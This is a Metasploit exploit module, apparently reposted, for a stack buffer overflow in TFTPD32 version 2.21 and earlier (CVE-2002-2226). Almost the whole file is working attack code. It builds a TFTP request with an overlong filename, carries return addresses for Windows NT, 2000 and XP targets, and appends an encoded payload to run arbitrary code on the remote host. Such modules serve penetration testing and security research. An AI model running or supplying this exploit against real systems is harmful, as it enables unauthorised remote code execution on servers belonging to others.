TFTPD32 <= 2.21 Long Filename Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in TFTPD32 version 2.21  
and prior. By sending a request for an overly long file name  
to the tftpd32 server, a remote attacker could overflow a buffer and  
execute arbitrary code on the system.  
},  
'Author' => 'MC',  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2002-2226'],  
['OSVDB', '45903'],  
['BID', '6199'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 250,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
  
'Targets' =>  
[  
['Windows NT 4.0 SP6a English', { 'Ret' => 0x77f9d463} ],  
['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663} ],   
['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0} ],   
['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527} ],   
],  
  
'Privileged' => true,  
  
'DisclosureDate' => 'Nov 19 2002'  
  
))  
  
register_options(  
[  
Opt::RPORT(69)  
], self)  
  
end  
  
def exploit  
connect_udp  
  
print_status("Trying target #{target.name}...")  
  
sploit =   
"\x00\x01" +   
rand_text_english(120, payload_badchars) +   
"." +  
rand_text_english(135, payload_badchars) +   
[target.ret].pack('V') +  
payload.encoded +   
"\x00"  
  
udp_sock.put(sploit)  
  
disconnect_udp   
end  
  
end  
`